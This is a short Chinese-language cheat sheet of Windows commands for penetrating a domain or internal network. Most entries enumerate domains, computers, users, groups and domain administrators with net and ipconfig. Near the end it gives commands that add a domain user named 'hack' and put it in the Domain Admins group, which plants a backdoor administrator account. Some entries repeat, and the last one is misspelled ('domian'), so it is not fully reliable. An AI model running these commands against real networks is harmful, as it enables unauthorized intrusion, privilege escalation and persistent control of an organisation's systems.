域/内网渗透常用命令

ipconfig /all
//可以查看到当前网卡配置信息，包括所属域以及IP段
net view
//显示正由指定的计算机共享的域、计算机或资源的列表。如果在没有参数的情况下使用，则 net view 显示当前域中的计算机列表。
ping 机器名
//显示该机器名的IP
net view /domain
//查看有多少域
net view /domain:testdomain（testdomain 假设为目标的其中一个域）
//此命令是查看 testdomain域中的计算机列表
net user /domain
//获取所有域用户列表
net group /domain
//获取域用户组信息
net group "domain admins" /domain
//查看与管理组成员
net user domain-admin /domain
//查看管理员登陆时间，密码过期时间，是否有登陆脚本，组分配等信息！
net time /domain
//可以查看域时间，以及域服务器的名字（快速查找域的方法之一 By LCX）
net user /domain
显示所有域用户
net user hack hack /add /domain
添加普通域用户
net group "Domain Admins" hack /add /domain
将 普通域用户 提升为域管理员
net view /domain
查看所有域
net group "group admins"/domian
获取当前域管理员列表